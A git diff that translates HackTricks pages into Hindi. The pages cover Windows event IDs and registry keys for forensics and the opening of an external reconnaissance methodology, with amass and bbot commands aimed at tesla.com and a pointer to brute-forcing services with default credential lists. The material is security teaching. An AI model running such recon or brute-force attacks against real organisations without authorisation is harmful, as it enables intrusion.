उपयोगकर्ता सफलतापूर्वक प्रमाणित हुआ। +- **EventID 4625**: एक प्रमाणीकरण विफलता का संकेत देता है। +- **EventIDs 4634/4647**: उपयोगकर्ता लॉगऑफ इवेंट्स का प्रतिनिधित्व करते हैं। +- **EventID 4672**: प्रशासनिक विशेषाधिकारों के साथ लॉगिन को दर्शाता है। #### Sub-types within EventID 4634/4647: -- **Interactive (2)**: Direct user login. -- **Network (3)**: Access to shared folders. -- **Batch (4)**: Execution of batch processes. -- **Service (5)**: Service launches. -- **Proxy (6)**: Proxy authentication. -- **Unlock (7)**: Screen unlocked with a password. -- **Network Cleartext (8)**: Clear text password transmission, often from IIS. -- **New Credentials (9)**: Usage of different credentials for access. -- **Remote Interactive (10)**: Remote desktop or terminal services login. -- **Cache Interactive (11)**: Login with cached credentials without domain controller contact. -- **Cache Remote Interactive (12)**: Remote login with cached credentials. -- **Cached Unlock (13)**: Unlocking with cached credentials. +- **Interactive (2)**: प्रत्यक्ष उपयोगकर्ता लॉगिन। +- **Network (3)**: साझा फ़ोल्डरों तक पहुंच। +- **Batch (4)**: बैच प्रक्रियाओं का निष्पादन। +- **Service (5)**: सेवा लॉन्च। +- **Proxy (6)**: प्रॉक्सी प्रमाणीकरण। +- **Unlock (7)**: पासवर्ड के साथ स्क्रीन अनलॉक। +- **Network Cleartext (8)**: स्पष्ट पाठ पासवर्ड ट्रांसमिशन, अक्सर IIS से। +- **New Credentials (9)**: पहुंच के लिए विभिन्न क्रेडेंशियल्स का उपयोग। +- **Remote Interactive (10)**: रिमोट डेस्कटॉप या टर्मिनल सेवाओं का लॉगिन। +- **Cache Interactive (11)**: डोमेन कंट्रोलर संपर्क के बिना कैश किए गए क्रेडेंशियल्स के साथ लॉगिन। +- **Cache Remote Interactive (12)**: कैश किए गए क्रेडेंशियल्स के साथ रिमोट लॉगिन। +- **Cached Unlock (13)**: कैश किए गए क्रेडेंशियल्स के साथ अनलॉक करना। #### Status and Sub Status Codes for EventID 4625: -- **0xC0000064**: User name does not exist - Could indicate a username enumeration attack. -- **0xC000006A**: Correct user name but wrong password - Possible password guessing or brute-force attempt. -- **0xC0000234**: User account locked out - May follow a brute-force attack resulting in multiple failed logins. -- **0xC0000072**: Account disabled - Unauthorized attempts to access disabled accounts. -- **0xC000006F**: Logon outside allowed time - Indicates attempts to access outside of set login hours, a possible sign of unauthorized access. -- **0xC0000070**: Violation of workstation restrictions - Could be an attempt to login from an unauthorized location. -- **0xC0000193**: Account expiration - Access attempts with expired user accounts. -- **0xC0000071**: Expired password - Login attempts with outdated passwords. -- **0xC0000133**: Time sync issues - Large time discrepancies between client and server may be indicative of more sophisticated attacks like pass-the-ticket. -- **0xC0000224**: Mandatory password change required - Frequent mandatory changes might suggest an attempt to destabilize account security. -- **0xC0000225**: Indicates a system bug rather than a security issue. -- **0xC000015b**: Denied logon type - Access attempt with unauthorized logon type, such as a user trying to execute a service logon. +- **0xC0000064**: उपयोगकर्ता नाम मौजूद नहीं है - यह एक उपयोगकर्ता नाम enumeration हमले का संकेत दे सकता है। +- **0xC000006A**: सही उपयोगकर्ता नाम लेकिन गलत पासवर्ड - संभावित पासवर्ड अनुमान या ब्रूट-फोर्स प्रयास। +- **0xC0000234**: उपयोगकर्ता खाता लॉक हो गया - कई विफल लॉगिन के परिणामस्वरूप ब्रूट-फोर्स हमले का पालन कर सकता है। +- **0xC0000072**: खाता निष्क्रिय - निष्क्रिय खातों तक पहुंच के लिए अनधिकृत प्रयास। +- **0xC000006F**: अनुमत समय के बाहर लॉगिन - सेट लॉगिन घंटों के बाहर पहुंच के प्रयासों का संकेत, अनधिकृत पहुंच का संभावित संकेत। +- **0xC0000070**: कार्यस्थल प्रतिबंधों का उल्लंघन - अनधिकृत स्थान से लॉगिन का प्रयास हो सकता है। +- **0xC0000193**: खाता समाप्ति - समाप्त उपयोगकर्ता खातों के साथ पहुंच के प्रयास। +- **0xC0000071**: समाप्त पासवर्ड - पुरानी पासवर्ड के साथ लॉगिन प्रयास। +- **0xC0000133**: समय समन्वय मुद्दे - क्लाइंट और सर्वर के बीच बड़े समय के अंतर अधिक जटिल हमलों जैसे पास-दी-टिकट का संकेत दे सकते हैं। +- **0xC0000224**: अनिवार्य पासवर्ड परिवर्तन की आवश्यकता - बार-बार अनिवार्य परिवर्तन सुरक्षा को अस्थिर करने के प्रयास का सुझाव दे सकते हैं। +- **0xC0000225**: सुरक्षा मुद्दे के बजाय सिस्टम बग का संकेत देता है। +- **0xC000015b**: अस्वीकृत लॉगिन प्रकार - अनधिकृत लॉगिन प्रकार के साथ पहुंच का प्रयास, जैसे कि एक उपयोगकर्ता सेवा लॉगिन निष्पादित करने की कोशिश कर रहा है। #### EventID 4616: -- **Time Change**: Modification of the system time, could obscure the timeline of events. +- **Time Change**: सिस्टम समय में संशोधन, जो घटनाओं की समयरेखा को अस्पष्ट कर सकता है। -#### EventID 6005 and 6006: +#### EventID 6005 और 6006: -- **System Startup and Shutdown**: EventID 6005 indicates the system starting up, while EventID 6006 marks it shutting down. +- **System Startup and Shutdown**: EventID 6005 सिस्टम के चालू होने का संकेत देता है, जबकि EventID 6006 इसे बंद करने का संकेत देता है। #### EventID 1102: -- **Log Deletion**: Security logs being cleared, which is often a red flag for covering up illicit activities. +- **Log Deletion**: सुरक्षा लॉग को साफ करना, जो अक्सर अवैध गतिविधियों को छिपाने के लिए एक लाल झंडा होता है। #### EventIDs for USB Device Tracking: -- **20001 / 20003 / 10000**: USB device first connection. -- **10100**: USB driver update. -- **EventID 112**: Time of USB device insertion. +- **20001 / 20003 / 10000**: USB डिवाइस का पहला कनेक्शन। +- **10100**: USB ड्राइवर अपडेट। +- **EventID 112**: USB डिवाइस के सम्मिलन का समय। -For practical examples on simulating these login types and credential dumping opportunities, refer to [Altered Security's detailed guide](https://www.alteredsecurity.com/post/fantastic-windows-logon-types-and-where-to-find-credentials-in-them). +इन लॉगिन प्रकारों और क्रेडेंशियल डंपिंग के अवसरों को अनुकरण करने के लिए व्यावहारिक उदाहरणों के लिए, [Altered Security's detailed guide](https://www.alteredsecurity.com/post/fantastic-windows-logon-types-and-where-to-find-credentials-in-them) पर जाएं। -Event details, including status and sub-status codes, provide further insights into event causes, particularly notable in Event ID 4625. +इवेंट विवरण, जिसमें स्थिति और उप-स्थिति कोड शामिल हैं, इवेंट के कारणों के बारे में और अधिक जानकारी प्रदान करते हैं, विशेष रूप से Event ID 4625 में उल्लेखनीय। ### Recovering Windows Events -To enhance the chances of recovering deleted Windows Events, it's advisable to power down the suspect computer by directly unplugging it. **Bulk_extractor**, a recovery tool specifying the `.evtx` extension, is recommended for attempting to recover such events. +हटाए गए Windows इवेंट्स को पुनर्प्राप्त करने की संभावनाओं को बढ़ाने के लिए, संदिग्ध कंप्यूटर को सीधे अनप्लग करके बंद करना उचित है। **Bulk_extractor**, एक पुनर्प्राप्ति उपकरण जो `.evtx` एक्सटेंशन को निर्दिष्ट करता है, ऐसे इवेंट्स को पुनर्प्राप्त करने के प्रयास के लिए अनुशंसित है। ### Identifying Common Attacks via Windows Events -For a comprehensive guide on utilizing Windows Event IDs in identifying common cyber attacks, visit [Red Team Recipe](https://redteamrecipe.com/event-codes/). +सामान्य साइबर हमलों की पहचान में Windows इवेंट IDs का उपयोग करने के लिए एक व्यापक गाइड के लिए, [Red Team Recipe](https://redteamrecipe.com/event-codes/) पर जाएं। #### Brute Force Attacks -Identifiable by multiple EventID 4625 records, followed by an EventID 4624 if the attack succeeds. +कई EventID 4625 रिकॉर्ड द्वारा पहचाने जाने योग्य, यदि हमला सफल होता है तो इसके बाद एक EventID 4624 होता है। #### Time Change -Recorded by EventID 4616, changes to system time can complicate forensic analysis. +EventID 4616 द्वारा दर्ज, सिस्टम समय में परिवर्तन फोरेंसिक विश्लेषण को जटिल बना सकता है। #### USB Device Tracking -Useful System EventIDs for USB device tracking include 20001/20003/10000 for initial use, 10100 for driver updates, and EventID 112 from DeviceSetupManager for insertion timestamps. +USB डिवाइस ट्रैकिंग के लिए उपयोगी सिस्टम EventIDs में प्रारंभिक उपयोग के लिए 20001/20003/10000, ड्राइवर अपडेट के लिए 10100, और DeviceSetupManager से सम्मिलन समय के लिए EventID 112 शामिल हैं। #### System Power Events -EventID 6005 indicates system startup, while EventID 6006 marks shutdown. +EventID 6005 सिस्टम स्टार्टअप को इंगित करता है, जबकि EventID 6006 शटडाउन को चिह्नित करता है। #### Log Deletion -Security EventID 1102 signals the deletion of logs, a critical event for forensic analysis. +सुरक्षा EventID 1102 लॉग के हटाने का संकेत देता है, जो फोरेंसिक विश्लेषण के लिए एक महत्वपूर्ण घटना है। {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys.md index 840b910bc..3469bab5c 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys.md @@ -1,101 +1,101 @@ -# Interesting Windows Registry Keys +# दिलचस्प Windows रजिस्ट्र्री कुंजी -### Interesting Windows Registry Keys +### दिलचस्प Windows रजिस्ट्र्री कुंजी {{#include ../../../banners/hacktricks-training.md}} -### **Windows Version and Owner Info** +### **Windows संस्करण और मालिक की जानकारी** -- Located at **`Software\Microsoft\Windows NT\CurrentVersion`**, you'll find the Windows version, Service Pack, installation time, and the registered owner's name in a straightforward manner. +- **`Software\Microsoft\Windows NT\CurrentVersion`** में, आप Windows संस्करण, सेवा पैक, स्थापना समय, और पंजीकृत मालिक का नाम सीधे तरीके से पाएंगे। -### **Computer Name** +### **कंप्यूटर नाम** -- The hostname is found under **`System\ControlSet001\Control\ComputerName\ComputerName`**. +- होस्टनाम **`System\ControlSet001\Control\ComputerName\ComputerName`** के तहत पाया जाता है। -### **Time Zone Setting** +### **समय क्षेत्र सेटिंग** -- The system's time zone is stored in **`System\ControlSet001\Control\TimeZoneInformation`**. +- सिस्टम का समय क्षेत्र **`System\ControlSet001\Control\TimeZoneInformation`** में संग्रहीत होता है। -### **Access Time Tracking** +### **एक्सेस समय ट्रैकिंग** -- By default, the last access time tracking is turned off (**`NtfsDisableLastAccessUpdate=1`**). To enable it, use: - `fsutil behavior set disablelastaccess 0` +- डिफ़ॉल्ट रूप से, अंतिम एक्सेस समय ट्रैकिंग बंद होती है (**`NtfsDisableLastAccessUpdate=1`**)। इसे सक्षम करने के लिए, उपयोग करें: +`fsutil behavior set disablelastaccess 0` -### Windows Versions and Service Packs +### Windows संस्करण और सेवा पैक -- The **Windows version** indicates the edition (e.g., Home, Pro) and its release (e.g., Windows 10, Windows 11), while **Service Packs** are updates that include fixes and, sometimes, new features. +- **Windows संस्करण** संस्करण (जैसे, होम, प्रो) और इसके रिलीज़ (जैसे, Windows 10, Windows 11) को दर्शाता है, जबकि **सेवा पैक** अपडेट होते हैं जो सुधार और कभी-कभी नए फीचर्स शामिल करते हैं। -### Enabling Last Access Time +### अंतिम एक्सेस समय सक्षम करना -- Enabling last access time tracking allows you to see when files were last opened, which can be critical for forensic analysis or system monitoring. +- अंतिम एक्सेस समय ट्रैकिंग को सक्षम करने से आप देख सकते हैं कि फ़ाइलें कब अंतिम बार खोली गई थीं, जो फोरेंसिक विश्लेषण या सिस्टम निगरानी के लिए महत्वपूर्ण हो सकता है। -### Network Information Details +### नेटवर्क जानकारी विवरण -- The registry holds extensive data on network configurations, including **types of networks (wireless, cable, 3G)** and **network categories (Public, Private/Home, Domain/Work)**, which are vital for understanding network security settings and permissions. +- रजिस्ट्र्री में नेटवर्क कॉन्फ़िगरेशन पर विस्तृत डेटा होता है, जिसमें **नेटवर्क के प्रकार (वायरलेस, केबल, 3G)** और **नेटवर्क श्रेणियाँ (सार्वजनिक, निजी/घर, डोमेन/कार्य)** शामिल हैं, जो नेटवर्क सुरक्षा सेटिंग्स और अनुमतियों को समझने के लिए महत्वपूर्ण हैं। -### Client Side Caching (CSC) +### क्लाइंट साइड कैशिंग (CSC) -- **CSC** enhances offline file access by caching copies of shared files. Different **CSCFlags** settings control how and what files are cached, affecting performance and user experience, especially in environments with intermittent connectivity. +- **CSC** ऑफ़लाइन फ़ाइल एक्सेस को साझा फ़ाइलों की प्रतियों को कैश करके बढ़ाता है। विभिन्न **CSCFlags** सेटिंग्स यह नियंत्रित करती हैं कि कौन सी फ़ाइलें कैश की जाती हैं, जो प्रदर्शन और उपयोगकर्ता अनुभव को प्रभावित करती हैं, विशेष रूप से उन वातावरणों में जहां कनेक्टिविटी अस्थायी होती है। -### AutoStart Programs +### ऑटोस्टार्ट प्रोग्राम -- Programs listed in various `Run` and `RunOnce` registry keys are automatically launched at startup, affecting system boot time and potentially being points of interest for identifying malware or unwanted software. +- विभिन्न `Run` और `RunOnce` रजिस्ट्र्री कुंजी में सूचीबद्ध प्रोग्राम स्टार्टअप पर स्वचालित रूप से लॉन्च होते हैं, जो सिस्टम बूट समय को प्रभावित करते हैं और संभावित रूप से मैलवेयर या अवांछित सॉफ़्टवेयर की पहचान के लिए रुचि के बिंदु हो सकते हैं। -### Shellbags +### शेलबैग्स -- **Shellbags** not only store preferences for folder views but also provide forensic evidence of folder access even if the folder no longer exists. They are invaluable for investigations, revealing user activity that isn't obvious through other means. +- **शेलबैग्स** न केवल फ़ोल्डर दृश्य के लिए प्राथमिकताएँ संग्रहीत करते हैं बल्कि फ़ोल्डर एक्सेस के फोरेंसिक सबूत भी प्रदान करते हैं, भले ही फ़ोल्डर अब मौजूद न हो। ये जांचों के लिए अमूल्य हैं, जो अन्य तरीकों से स्पष्ट नहीं होने वाली उपयोगकर्ता गतिविधि को प्रकट करते हैं। -### USB Information and Forensics +### USB जानकारी और फोरेंसिक्स -- The details stored in the registry about USB devices can help trace which devices were connected to a computer, potentially linking a device to sensitive file transfers or unauthorized access incidents. +- रजिस्ट्र्री में USB उपकरणों के बारे में संग्रहीत विवरण यह पता लगाने में मदद कर सकते हैं कि कौन से उपकरण एक कंप्यूटर से जुड़े थे, संभावित रूप से संवेदनशील फ़ाइल ट्रांसफर या अनधिकृत एक्सेस घटनाओं से एक उपकरण को जोड़ते हैं। -### Volume Serial Number +### वॉल्यूम सीरियल नंबर -- The **Volume Serial Number** can be crucial for tracking the specific instance of a file system, useful in forensic scenarios where file origin needs to be established across different devices. +- **वॉल्यूम सीरियल नंबर** फ़ाइल सिस्टम के विशिष्ट उदाहरण को ट्रैक करने के लिए महत्वपूर्ण हो सकता है, जो फोरेंसिक परिदृश्यों में उपयोगी है जहां फ़ाइल की उत्पत्ति को विभिन्न उपकरणों के बीच स्थापित करने की आवश्यकता होती है। -### **Shutdown Details** +### **शटडाउन विवरण** -- Shutdown time and count (the latter only for XP) are kept in **`System\ControlSet001\Control\Windows`** and **`System\ControlSet001\Control\Watchdog\Display`**. +- शटडाउन समय और गिनती (यह केवल XP के लिए) **`System\ControlSet001\Control\Windows`** और **`System\ControlSet001\Control\Watchdog\Display`** में रखी जाती है। -### **Network Configuration** +### **नेटवर्क कॉन्फ़िगरेशन** -- For detailed network interface info, refer to **`System\ControlSet001\Services\Tcpip\Parameters\Interfaces{GUID_INTERFACE}`**. -- First and last network connection times, including VPN connections, are logged under various paths in **`Software\Microsoft\Windows NT\CurrentVersion\NetworkList`**. +- विस्तृत नेटवर्क इंटरफ़ेस जानकारी के लिए, **`System\ControlSet001\Services\Tcpip\Parameters\Interfaces{GUID_INTERFACE}`** देखें। +- पहले और अंतिम नेटवर्क कनेक्शन समय, जिसमें VPN कनेक्शन शामिल हैं, विभिन्न पथों के तहत **`Software\Microsoft\Windows NT\CurrentVersion\NetworkList`** में लॉग किए जाते हैं। -### **Shared Folders** +### **साझा फ़ोल्डर** -- Shared folders and settings are under **`System\ControlSet001\Services\lanmanserver\Shares`**. The Client Side Caching (CSC) settings dictate offline file availability. +- साझा फ़ोल्डर और सेटिंग्स **`System\ControlSet001\Services\lanmanserver\Shares`** के तहत हैं। क्लाइंट साइड कैशिंग (CSC) सेटिंग्स ऑफ़लाइन फ़ाइल उपलब्धता को निर्धारित करती हैं। -### **Programs that Start Automatically** +### **स्वचालित रूप से शुरू होने वाले प्रोग्राम** -- Paths like **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Run`** and similar entries under `Software\Microsoft\Windows\CurrentVersion` detail programs set to run at startup. +- पथ जैसे **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Run`** और `Software\Microsoft\Windows\CurrentVersion` के तहत समान प्रविष्टियाँ स्टार्टअप पर चलने के लिए सेट किए गए प्रोग्रामों का विवरण देती हैं। -### **Searches and Typed Paths** +### **खोजें और टाइप किए गए पथ** -- Explorer searches and typed paths are tracked in the registry under **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer`** for WordwheelQuery and TypedPaths, respectively. +- एक्सप्लोरर खोजें और टाइप किए गए पथ रजिस्ट्र्री में **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer`** के तहत WordwheelQuery और TypedPaths के लिए ट्रैक किए जाते हैं। -### **Recent Documents and Office Files** +### **हाल के दस्तावेज़ और ऑफिस फ़ाइलें** -- Recent documents and Office files accessed are noted in `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs` and specific Office version paths. +- हाल के दस्तावेज़ और ऑफिस फ़ाइलें जो एक्सेस की गई हैं, `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs` और विशिष्ट ऑफिस संस्करण पथों में नोट की गई हैं। -### **Most Recently Used (MRU) Items** +### **सबसे हाल में उपयोग किए गए (MRU) आइटम** -- MRU lists, indicating recent file paths and commands, are stored in various `ComDlg32` and `Explorer` subkeys under `NTUSER.DAT`. +- MRU सूचियाँ, जो हाल के फ़ाइल पथ और कमांड को इंगित करती हैं, विभिन्न `ComDlg32` और `Explorer` उपकुंजी में `NTUSER.DAT` के तहत संग्रहीत होती हैं। -### **User Activity Tracking** +### **उपयोगकर्ता गतिविधि ट्रैकिंग** -- The User Assist feature logs detailed application usage stats, including run count and last run time, at **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{GUID}\Count`**. +- उपयोगकर्ता सहायता सुविधा विस्तृत एप्लिकेशन उपयोग आँकड़े लॉग करती है, जिसमें चलाने की गिनती और अंतिम चलाने का समय शामिल है, **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{GUID}\Count`** में। -### **Shellbags Analysis** +### **शेलबैग्स विश्लेषण** -- Shellbags, revealing folder access details, are stored in `USRCLASS.DAT` and `NTUSER.DAT` under `Software\Microsoft\Windows\Shell`. Use **[Shellbag Explorer](https://ericzimmerman.github.io/#!index.md)** for analysis. +- शेलबैग्स, जो फ़ोल्डर एक्सेस विवरण प्रकट करते हैं, `USRCLASS.DAT` और `NTUSER.DAT` में `Software\Microsoft\Windows\Shell` के तहत संग्रहीत होते हैं। विश्लेषण के लिए **[Shellbag Explorer](https://ericzimmerman.github.io/#!index.md)** का उपयोग करें। -### **USB Device History** +### **USB उपकरण इतिहास** -- **`HKLM\SYSTEM\ControlSet001\Enum\USBSTOR`** and **`HKLM\SYSTEM\ControlSet001\Enum\USB`** contain rich details on connected USB devices, including manufacturer, product name, and connection timestamps. -- The user associated with a specific USB device can be pinpointed by searching `NTUSER.DAT` hives for the device's **{GUID}**. -- The last mounted device and its volume serial number can be traced through `System\MountedDevices` and `Software\Microsoft\Windows NT\CurrentVersion\EMDMgmt`, respectively. +- **`HKLM\SYSTEM\ControlSet001\Enum\USBSTOR`** और **`HKLM\SYSTEM\ControlSet001\Enum\USB`** में जुड़े USB उपकरणों के बारे में समृद्ध विवरण होते हैं, जिसमें निर्माता, उत्पाद नाम, और कनेक्शन टाइमस्टैम्प शामिल हैं। +- एक विशिष्ट USB उपकरण से जुड़े उपयोगकर्ता को उस उपकरण के **{GUID}** के लिए `NTUSER.DAT` हाइव में खोजकर पहचाना जा सकता है। +- अंतिम माउंटेड उपकरण और इसका वॉल्यूम सीरियल नंबर `System\MountedDevices` और `Software\Microsoft\Windows NT\CurrentVersion\EMDMgmt` के माध्यम से ट्रेस किया जा सकता है। -This guide condenses the crucial paths and methods for accessing detailed system, network, and user activity information on Windows systems, aiming for clarity and usability. +यह गाइड Windows सिस्टम पर विस्तृत सिस्टम, नेटवर्क, और उपयोगकर्ता गतिविधि जानकारी तक पहुँचने के लिए महत्वपूर्ण पथों और विधियों को संक्षेप में प्रस्तुत करता है, स्पष्टता और उपयोगिता के लिए लक्ष्य बनाते हुए। {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/external-recon-methodology/README.md b/src/generic-methodologies-and-resources/external-recon-methodology/README.md index ef4a9559e..d4138768e 100644 --- a/src/generic-methodologies-and-resources/external-recon-methodology/README.md +++ b/src/generic-methodologies-and-resources/external-recon-methodology/README.md @@ -2,48 +2,40 @@ {{#include ../../banners/hacktricks-training.md}} -
- -If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_). - -{% embed url="https://www.stmcyber.com/careers" %} ## Assets discoveries -> So you were said that everything belonging to some company is inside the scope, and you want to figure out what this company actually owns. +> तो आपको कहा गया था कि किसी कंपनी से संबंधित सब कुछ दायरे के भीतर है, और आप यह पता लगाना चाहते हैं कि इस कंपनी के पास वास्तव में क्या है। -The goal of this phase is to obtain all the **companies owned by the main company** and then all the **assets** of these companies. To do so, we are going to: +इस चरण का लक्ष्य **मुख्य कंपनी द्वारा स्वामित्व वाली सभी कंपनियों** और फिर इन कंपनियों के सभी **संपत्तियों** को प्राप्त करना है। ऐसा करने के लिए, हम: -1. Find the acquisitions of the main company, this will give us the companies inside the scope. -2. Find the ASN (if any) of each company, this will give us the IP ranges owned by each company -3. Use reverse whois lookups to search for other entries (organisation names, domains...) related to the first one (this can be done recursively) -4. Use other techniques like shodan `org`and `ssl`filters to search for other assets (the `ssl` trick can be done recursively). +1. मुख्य कंपनी के अधिग्रहणों को खोजेंगे, इससे हमें दायरे के भीतर की कंपनियाँ मिलेंगी। +2. प्रत्येक कंपनी का ASN (यदि कोई हो) खोजेंगे, इससे हमें प्रत्येक कंपनी द्वारा स्वामित्व वाले IP रेंज मिलेंगे। +3. पहले वाले से संबंधित अन्य प्रविष्टियों (संस्थान के नाम, डोमेन...) की खोज के लिए रिवर्स Whois लुकअप का उपयोग करेंगे (यह पुनरावृत्त रूप से किया जा सकता है)। +4. अन्य संपत्तियों की खोज के लिए शोडान `org` और `ssl` फ़िल्टर जैसी अन्य तकनीकों का उपयोग करेंगे (यह `ssl` ट्रिक पुनरावृत्त रूप से की जा सकती है)। ### **Acquisitions** -First of all, we need to know which **other companies are owned by the main company**.\ -One option is to visit [https://www.crunchbase.com/](https://www.crunchbase.com), **search** for the **main company**, and **click** on "**acquisitions**". There you will see other companies acquired by the main one.\ -Other option is to visit the **Wikipedia** page of the main company and search for **acquisitions**. +सबसे पहले, हमें यह जानने की आवश्यकता है कि **मुख्य कंपनी द्वारा स्वामित्व वाली अन्य कंपनियाँ कौन सी हैं**।\ +एक विकल्प है [https://www.crunchbase.com/](https://www.crunchbase.com) पर जाना, **मुख्य कंपनी** के लिए **खोज** करना, और "**अधिग्रहण**" पर **क्लिक** करना। वहाँ आप मुख्य कंपनी द्वारा अधिग्रहित अन्य कंपनियाँ देखेंगे।\ +दूसरा विकल्प है मुख्य कंपनी के **विकिपीडिया** पृष्ठ पर जाना और **अधिग्रहण** के लिए खोज करना। -> Ok, at this point you should know all the companies inside the scope. Lets figure out how to find their assets. +> ठीक है, इस बिंदु पर आपको दायरे के भीतर सभी कंपनियों के बारे में पता होना चाहिए। चलिए उनके संपत्तियों को खोजने का तरीका समझते हैं। ### **ASNs** -An autonomous system number (**ASN**) is a **unique number** assigned to an **autonomous system** (AS) by the **Internet Assigned Numbers Authority (IANA)**.\ -An **AS** consists of **blocks** of **IP addresses** which have a distinctly defined policy for accessing external networks and are administered by a single organisation but may be made up of several operators. - -It's interesting to find if the **company have assigned any ASN** to find its **IP ranges.** It will be interested to perform a **vulnerability test** against all the **hosts** inside the **scope** and **look for domains** inside these IPs.\ -You can **search** by company **name**, by **IP** or by **domain** in [**https://bgp.he.net/**](https://bgp.he.net)**.**\ -**Depending on the region of the company this links could be useful to gather more data:** [**AFRINIC**](https://www.afrinic.net) **(Africa),** [**Arin**](https://www.arin.net/about/welcome/region/)**(North America),** [**APNIC**](https://www.apnic.net) **(Asia),** [**LACNIC**](https://www.lacnic.net) **(Latin America),** [**RIPE NCC**](https://www.ripe.net) **(Europe). Anyway, probably all the** useful information **(IP ranges and Whois)** appears already in the first link. +एक स्वायत्त प्रणाली संख्या (**ASN**) एक **विशिष्ट संख्या** है जो **इंटरनेट असाइन नंबर प्राधिकरण (IANA)** द्वारा एक **स्वायत्त प्रणाली** (AS) को असाइन की जाती है।\ +एक **AS** में **IP पते** के **ब्लॉक** होते हैं जिनकी बाहरी नेटवर्क तक पहुँचने के लिए स्पष्ट रूप से परिभाषित नीति होती है और इसे एक ही संगठन द्वारा प्रशासित किया जाता है लेकिन यह कई ऑपरेटरों से मिलकर बन सकता है। +यह जानना दिलचस्प है कि क्या **कंपनी ने कोई ASN असाइन किया है** ताकि इसके **IP रेंज** को खोजा जा सके। यह **दायरे** के भीतर सभी **होस्ट्स** के खिलाफ एक **कमजोरी परीक्षण** करना और इन IPs के भीतर **डोमेन** की खोज करना दिलचस्प होगा।\ +आप कंपनी के **नाम**, **IP** या **डोमेन** द्वारा [**https://bgp.he.net/**](https://bgp.he.net)** पर **खोज** कर सकते हैं।\ +**कंपनी के क्षेत्र के आधार पर ये लिंक अधिक डेटा इकट्ठा करने के लिए उपयोगी हो सकते हैं:** [**AFRINIC**](https://www.afrinic.net) **(अफ्रीका),** [**Arin**](https://www.arin.net/about/welcome/region/)**(उत्तरी अमेरिका),** [**APNIC**](https://www.apnic.net) **(एशिया),** [**LACNIC**](https://www.lacnic.net) **(लैटिन अमेरिका),** [**RIPE NCC**](https://www.ripe.net) **(यूरोप)। वैसे, शायद सभी** उपयोगी जानकारी **(IP रेंज और Whois)** पहले लिंक में पहले से ही दिखाई देती है। ```bash #You can try "automate" this with amass, but it's not very recommended amass intel -org tesla amass intel -asn 8911,50313,394161 ``` - -Also, [**BBOT**](https://github.com/blacklanternsecurity/bbot)**'s** subdomain enumeration automatically aggregates and summarizes ASNs at the end of the scan. - +इसके अलावा, [**BBOT**](https://github.com/blacklanternsecurity/bbot)**'s** उपडोमेन enumeration स्वचालित रूप से स्कैन के अंत में ASNs को एकत्रित और संक्षेपित करता है। ```bash bbot -t tesla.com -f subdomain-enum ... @@ -60,62 +52,59 @@ bbot -t tesla.com -f subdomain-enum [INFO] bbot.modules.asn: +----------+---------------------+--------------+----------------+----------------------------+-----------+ ``` +आप एक संगठन के IP रेंज भी [http://asnlookup.com/](http://asnlookup.com) का उपयोग करके पा सकते हैं (इसमें मुफ्त API है)।\ +आप [http://ipv4info.com/](http://ipv4info.com) का उपयोग करके एक डोमेन का IP और ASN पा सकते हैं। -You can find the IP ranges of an organisation also using [http://asnlookup.com/](http://asnlookup.com) (it has free API).\ -You can find the IP and ASN of a domain using [http://ipv4info.com/](http://ipv4info.com). +### **कमजोरियों की तलाश** -### **Looking for vulnerabilities** +इस बिंदु पर हम **स्कोप के अंदर सभी संपत्तियों** को जानते हैं, इसलिए यदि आपको अनुमति है तो आप सभी होस्ट पर कुछ **कमजोरी स्कैनर** (Nessus, OpenVAS) लॉन्च कर सकते हैं।\ +इसके अलावा, आप कुछ [**पोर्ट स्कैन**](../pentesting-network/#discovering-hosts-from-the-outside) **लॉन्च कर सकते हैं** या **खुले पोर्ट खोजने के लिए** shodan **जैसी सेवाओं का उपयोग कर सकते हैं और जो कुछ भी आप पाते हैं उसके आधार पर आपको इस पुस्तक में देखना चाहिए कि कैसे कई संभावित सेवाओं का परीक्षण करना है।**\ +**इसके अलावा, यह उल्लेख करना भी सार्थक हो सकता है कि आप कुछ** डिफ़ॉल्ट उपयोगकर्ता नाम **और** पासवर्ड **सूचियाँ तैयार कर सकते हैं और** [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray) के साथ सेवाओं को** ब्रूटफोर्स **करने की कोशिश कर सकते हैं।** -At this point we known **all the assets inside the scope**, so if you are allowed you could launch some **vulnerability scanner** (Nessus, OpenVAS) over all the hosts.\ -Also, you could launch some [**port scans**](../pentesting-network/#discovering-hosts-from-the-outside) **or use services like** shodan **to find** open ports **and depending on what you find you should** take a look in this book to how to pentest several possible services running.\ -**Also, It could be worth it to mention that you can also prepare some** default username **and** passwords **lists and try to** bruteforce services with [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray). +## डोमेन -## Domains +> हम स्कोप के अंदर सभी कंपनियों और उनकी संपत्तियों को जानते हैं, अब स्कोप के अंदर डोमेन खोजने का समय है। -> We know all the companies inside the scope and their assets, it's time to find the domains inside the scope. +_कृपया ध्यान दें कि निम्नलिखित प्रस्तावित तकनीकों में आप उपडोमेन भी पा सकते हैं और उस जानकारी को कम नहीं आंकना चाहिए।_ -_Please, note that in the following purposed techniques you can also find subdomains and that information shouldn't be underrated._ +सबसे पहले, आपको प्रत्येक कंपनी के **मुख्य डोमेन**(s) की तलाश करनी चाहिए। उदाहरण के लिए, _Tesla Inc._ के लिए _tesla.com_ होगा। -First of all you should look for the **main domain**(s) of each company. For example, for _Tesla Inc._ is going to be _tesla.com_. - -### **Reverse DNS** - -As you have found all the IP 